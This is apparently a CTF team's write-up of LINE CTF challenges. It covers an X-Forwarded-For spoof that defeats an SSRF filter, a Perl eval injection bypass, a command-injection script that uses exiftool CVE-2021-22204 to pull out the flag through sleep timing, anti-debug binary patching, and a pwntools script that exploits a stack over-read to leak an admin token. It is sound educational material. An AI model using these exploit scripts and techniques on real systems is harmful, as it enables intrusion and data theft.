Web
baby-simple-gocurl
The challenge consists of a web page that makes requests for us.
There are two endpoints that tickle our interest:
/curl/
: makes a HTTP request for us and returns the body and the status code;/flag/
: retrieves the flag if the requested IP is localhost.
The request made using the endpoint /curl/
checks whether the requesting IP is 127.0.0.1
, the URL constains the words flag
or curl
(to prevent chains of requests), and disallow redirects by defining a redirectChecker
function.
There’s a trivial logical issue with the way the check is done. The following code contains the mistake:
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { // CANNOT HAVE flag, curl or %
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
The condition implies that if the client IP is 127.0.0.1
it is not necessary to check whether the URL contains one of the blocked words. (Notice the &&
operator!)
After examining the documentation of the go-gin function clientIP
function, we notice that it does the best to return the real IP of the client. In doing so, it considers the presence of one or more proxies and parses the corrisponding headers.
We can create a request that utilizes one of those headers (e.g., X-Forwarded-For
) to deceive the server into thinking that the packet is from localhost.
In the end, we’re able to retrieve the flag with the following request:
GET /curl/?url=http://127.0.0.1:8080/flag/&header_key=&header_value= HTTP/1.1
Host: <server ip>:<server port>
X-Forwarded-For: 127.0.0.1
Connection: close
oldpal
This challenge featured a web page with a Perl backend that would get a parameter password
, perform some checks against it, and if it were the correct one, the server would echo out the flag.
The final check we need to pass to get the flag is the following:
if (eval("$pw == 20230325")) {
print "Congrats! Flag is LINECTF{redacted}"
} else {
print "wrong password :(";
die();
};
Clearly, the password
should be a string that evaluates to the number “20230325” (or something else that lets us execute some code inside the eval
to read the flag anyway!).
The password
would get checked by different regular expression filters. Let’s go through them one by one:
if (length($pw) >= 20) {
print "Too long :(";
die();
}
This filter obviously checks the length of the password
.
if ($pw =~ /[^0-9a-zA-Z_-]/) {
print "Illegal character :("
die();
}
This filter allows the password
to be comprised only of alphanumerical characters, “_”, and “-”.
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
print "Weak password :(";
die();
}
This filter forces us to use at least a number, a letter, and both “_” and “-” in the password
.
if ($pw =~ /[0-9_-][boxe]/i) {
print "Do not punch me :(";
die();
}
This filter prevents us from using hexadecimal (0x
prefix), binary (0b
prefix), octal (0o
prefix) integer literals, in addition to numbers in scientific notation (of the form <N>e<E>
).
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|
connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock
|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getp
riority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|ind
ex|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|p
ipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|sa
y|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shm
read|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|te
ll|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
print "I know eval injection :(";
die();
}
This filter prevents us from using names of functions that can be used to trigger abitrary code execution inside the eval()
.
if ($pw =~ /[Mx. squ1ffy]/i) {
print "You may have had one too many Old Pal :(";
die();
}
This filter prevents us from using certain characters, including .
.
The important thing to note is that we can (must, in fact) use “-” in the password: we can use this to perform a subtraction.
The other character we must use is “_”. I don’t know Perl, but this reminded me of the special variables/methods in Python like __init__
, __main__
and so on.
A quick Google search informed me that, in fact, there are similar special variables also in Perl!
In particular, we can use the __LINE__
variable, which gets evaluated to the number of the line of code that is currently being executed (inside an eval
it evaluates to 1).
This allows us to call the server with a password
that passess all the checks and evaluates to the desired value: 20230326-__LINE__
.
Sending a request with this string as the password
parameter gives us the flag:
LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}
.
Imagexif
This challenge featured a simple web server written in flask
that uses exiftool
to provide information about an uploaded image. Jinja2 is used to serve HTML pages, but no SSTI there for today. Instead, after poking and reading the code for a while we noticed something in the Dockerfile:
FROM python:3.11.2
RUN apt-get update
RUN apt-get install -y curl wget && \
DEBIAN_FRONTEND="noninteractive" && \
echo done
RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
tar xvf 12.22.tar.gz && \
cp -fr /exiftool-12.22/* /usr/bin && \
rm -rf /exiftool-12.22 && \
rm 12.22.tar.gz
ADD ./src /src/
ADD ./conf /conf/
WORKDIR /src
COPY uwsgi.ini .
RUN addgroup --gid 1000 appuser && \
useradd --uid 1000 --gid 1000 -r -s /bin/false appuser
RUN find /src -type d -exec chmod 755 {} + && \
find /src -type f -exec chmod 644 {} + && \
find /src -type f -exec chattr +i {} \; && \
find /src/tmp -type d -exec chmod 777 {} + && \
find /src/*.sh -exec chmod +x {} \;
RUN apt-get install -y tzdata && \
cp /usr/share/zoneinfo/Asia/Tokyo /etc/localtime && \
echo "Asia/Tokyo" > /etc/timezone
RUN python3.11 -m pip install -r requirements.txt
RUN python3.11 -m pip install uwsgi
RUN apt-get purge -y curl wget
RUN ln -sf /bin/bash /bin/sh
CMD ["uwsgi", "uwsgi.ini"]
RUN chmod o-x /usr/local/bin/python3.11 && \
rm /usr/lib/x86_64-linux-gnu/perl-base/socket.pm
The Dockerfile downloads a slightly outdated version of exiftool
. From other CTFs, we knew that exiftool
had some problems in the past, so we looked around for CVEs related to this version. With little surprise, we found that this version is vulnerable to CVE-2021-22204, allowing a quite simple RCE. After quickly getting an PoC exploit from this repo, we got the flag… or so we thought.
There is a catch: the backend container is completely isolated from external networks, so no reverse shell, curl, or even DNS exfiltration here! We decided to use a side-channel: time (e.g. sleep
). Fairly enough, we can find a utility script already on the backend that allows to convert a character to its ASCII (decimal) representation. We also knew that flag letters only included hexadecimal digits, making it easier to optimize the side-channel.
The following is the script used to extract the flag with success. Notice that we could not use some characters (e.g. parenthesis), making the scripting part a little more frustrating. The final script is fairly fast and reliable:
#!/usr/bin/env python
import os
import requests
import time
flag = "LINECTF{"
## LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
i = len(flag)
while True:
print(flag)
## This command will:
## - save into X the ascii value of the i-th character of the flag
## - sleep for $X - 87 seconds, which may mean not sleeping (if character is in 0-9),
## where 87 is ord('a') - 10, so that characters in a-f will cause a sleep from 10 to 16 seconds
## - if previous sleep failed, sleep for $X - 48 seconds, where 48 is ord('0'), meaning that
## we will sleep from 0 to 9 seconds for characters in 0-9
#
## TL;DR;
## - 0 <= sleep < 10 -> 0-9
## - 10 <= sleep <= 15 -> a-f
cmd = (
"X=`/src/ascii.sh ${FLAG:%d:1}`; sleep `expr $X - 87` || sleep `expr $X - 48`"
% i
)
print(cmd)
## Craft the image using a CVE PoC found online
## Download the exploit from here, or do it by hand
## https://github.com/UNICORDev/exploit-CVE-2021-22204
os.system(f"python ./cve-2021-22204.py -c '{cmd}'")
## Send a request computing the time. We will use time to exfiltrate a single character
## of the flag at a time
start = time.time()
r = requests.post(
"http://34.85.58.100:11008/upload", files={"file": open("./image.jpg", "rb")}
)
end = time.time()
elapsed = end - start
## Check if we got a match with one of our expected characters.
## It may happen that this script fails (finds the wrong letter) due to network latency,
## but it did not happen in practice
print(f"Elapsed: {elapsed}")
try:
char = "0123456789abcdef"[int(elapsed)]
print(f"Found: {char}")
if char in "1234567890abcdef}":
flag += char
except:
flag += "?"
print("Rejected!")
i += 1
Reversing
Fishing
Watching the executable with Ghidra
we can see that it has some anti-disassemble techniques that prevent Ghidra to fully disassemble some functions so when we find them we can just manually tell ghidra
to disassemble them again by pressing D
on the starting address and then F
.
We can also see that the executable gives an error message when using a debugger which can be bypassed patching the file.
14001b49 74 52 JZ LAB_140001b9d
to
140001b49 75 52 JNZ LAB_140001b9d
140001c7a 75 0a JNZ LAB_140001c86
to
140001c7a 74 0a JZ LAB_140001c86
140001c84 74 52 JZ LAB_140001cd8
to
140001c84 75 52 JNZ LAB_140001cd8
Those are not the only things the program does to prevent it being reversed in fact it also uses DR0
to DR3
registers to alter the execution of some functions when debugging but with our solution we can ignore them!
The program after asking and receiving for our input starts a thread where it does some data manipulations and then compares a constant array with an array the program generates with our input. The generated array is kind of created like this:
//something_1 and something_2 are different for every i
//but even with different inputs they are sequentially the same!
for (i = 0; i < arrayLen; i = i + 1) {
...
//something_1 and something_2 manipulations
generatedArray[i] = manipulatedInput[i] ^ something_1 ^ something_2
}
By running the program in x64dbg
we can easily find in memory how our generatedArray
and manipulated input look so the things we have are:
- our input
- our manipulated input
- the encrypted flag
- the array we can generate So, with some math:
we have
encryptedFlag = manipulatedFlag ^ something_1 ^ something_2
generatedFlag = manipulatedInput ^ something_1 ^ something_2
so we can do
encryptedFlag ^ generatedFlag = manipulatedFlag ^ manipulatedInput
and then xor away the manipulatedInput to remain with the manipulatedFlag
Once we have the manipulatedFlag
we can just map our input chars to their manipulated version and then just map the manipulatedFlag
chars to their right chars (I forgot to mention that characters are manipulated character-wise and not string-wise so that the same character is mapped to the same value).
We need to input a string as long as the array we need to generate which has length 0x29
(41). Since the format of flags is LINECTF{[0-9a-f]{32}}
our input can be something like 1234567890abcdef1234567890abcdef123456789
and in memory we get:
manipulated input:
5E 76 6E 86 7E 96 8E A6 9E 66 E0 F8 F0 08 00 18
5E 76 6E 86 7E 96 8E A6 9E 66 E0 F8 F0 08 00 18
5E 76 6E 86 7E 96 8E A6 9E 00 00 00 00 00 00 00
array we need to generate
D0 BE 9F 5A BD F0 34 B5 D0 6F FB E2 99 BA AE D7
36 D5 2D C2 22 45 B0 03 9D 63 66 53 C7 28 CC 2A
2B 14 BB 09 9B E3 60 46 3A 00 00 00 00 00 00 00
array generated from our input
C7 E9 A8 DD 32 EF A3 A3 4E 7F 65 64 99 BA 4E B9
16 BB 1D A4 FA 33 A8 CB 85 FD E8 F5 B1 5E 6A 3A
03 62 25 09 83 0B 16 76 64 00 AB AB AB AB AB AB
Then we can just script the solution!
(since I knew the first 9 letters would be LINECTF{
and the last one would be }
I skipped those bytes and shifted the alphabet I used) (yes I am very lazy).
manipulatedInput = [
0x9E, 0x66, 0xE0, 0xF8, 0xF0, 0x08, 0x00, 0x18,
0x5E, 0x76, 0x6E, 0x86, 0x7E, 0x96, 0x8E, 0xA6
]
encFlag = [
0xD0, 0x6F, 0xFB, 0xE2, 0x99, 0xBA, 0xAE, 0xD7,
0x36, 0xD5, 0x2D, 0xC2, 0x22, 0x45, 0xB0, 0x03,
0x9D, 0x63, 0x66, 0x53, 0xC7, 0x28, 0xCC, 0x2A,
0x2B, 0x14, 0xBB, 0x09, 0x9B, 0xE3, 0x60, 0x46
]
encInput = [
0x4E, 0x7F, 0x65, 0x64, 0x99, 0xBA, 0x4E, 0xB9,
0x16, 0xBB, 0x1D, 0xA4, 0xFA, 0x33, 0xA8, 0xCB,
0x85, 0xFD, 0xE8, 0xF5, 0xB1, 0x5E, 0x6A, 0x3A,
0x03, 0x62, 0x25, 0x09, 0x83, 0x0B, 0x16, 0x76
]
alphabet = '90abcdef12345678'
print("LINECTF{", end="")
for i in range(len(encFlag)):
manipulatedFlag = encFlag[i] ^ encInput[i] ^ manipulatedInput[i%16]
flag = alphabet[manipulatedInput.index(manipulatedFlag)]
print(flag, end="")
print("}")
Pwn
Simple blogger
This was the simpler pwnable of the CTF (and the only we solved 😢). It featured a client-server application based on a custom protocol, with the aim of allowing an authenticated admin to store and read messages.
We can execute the provided client to get an idea of what the server offers by looking at its menu:
Welcome to a simple blogger!!!
Commands (type a number):
[1] Print this `help` message.
[2] Show the banner.
[3] Ping.
[4] Login.
[5] Logout.
[6] Read a message.
[7] Write a message.
[8] Flag.
[9] Exit program.
CONSOLE>
The first two commands are just client-side utilities, but the others correspond to commands on the server.
Figuring out the protocol
We started by reverse engineering the protocol that the server and client were running. To do it, we used a mix of mostly Ghidra and a little bit of Wireshark (to confirm some intuitions). After a while, we figured the following format:
0 8
+---------------+
| version |
+---------------+
| command |
+---------------+
| auth token |
| |
+---------------+
| payload len |
| (big endian) |
+---------------+
| |
| |
| |
| |
| payload |
| (1024 bytes) |
| |
| |
| |
| |
| |
+---------------+
Version was always equal to byte 01
, and commands were given as bytes ranging from 01
to 06
(in the same order as in the client’s menu).
It took a while to reverse it all as the server was using a custom calling convention (basically passing the payload length and payload through the stack).
Finding the vulnerability
After reversing every server function, we were stuck for a bit trying to find a vulnerability. Every single function but ping was locked under authentication, as we were out of credentials.
After playing with it for a while, we tried to simply send a ping message (the only one we are authorized to send), but sending a bigger payload length than the real one. The answer from the server actually included a lot more data than only the expected PONG
response!
Looking at Ghidra provided the reason. Note that, when copying on the msg->data
(the response message) the response data (PONG
) it uses msg->len
, which is set to the payload length sent by us.
This allows us to read some of the stack of the program! If we look really closely, we can also notice something else: to implement the admin cleanup function, a token is needed. However, the token is taken from our request, but it is taken from the database and it is saved on the stack. Due to the stack layout, right after the PONG
response there is the admin token that we need to read the flag.
We can finally get the flag with the following script:
#!/usr/bin/env python3
from pwn import *
HOST = "34.146.54.86"
PORT = 10007
exe = ELF("./server_patched")
context.binary = exe
context.log_level = "debug"
context.terminal = ["kitty"]
io = None
def conn(*a, **kw):
if args.LOCAL:
return process([exe.path], env={"LD_LIBRARY_PATH": "."}, **kw)
elif args.GDB:
return gdb.debug([exe.path], env={"LD_LIBRARY_PATH": "."}, gdbscript="", **kw)
else:
return remote(HOST, PORT, **kw)
def msg(command, length, data, session=b"\x00" * 16, version=1):
assert len(session) == 16
return p8(version) + p8(command) + session + p16(length, endian="big") + data
def main():
global io
io = conn(level="debug")
## good luck pwning :)
data = b"PING"
io.send(msg(1, 0x400, data)) ## ping with fake payload length
io.recv(8)
token = io.recv(16)
io.send(msg(6, 0, b"", session=token)) ## get flag
io.interactive()
if __name__ == "__main__":
main()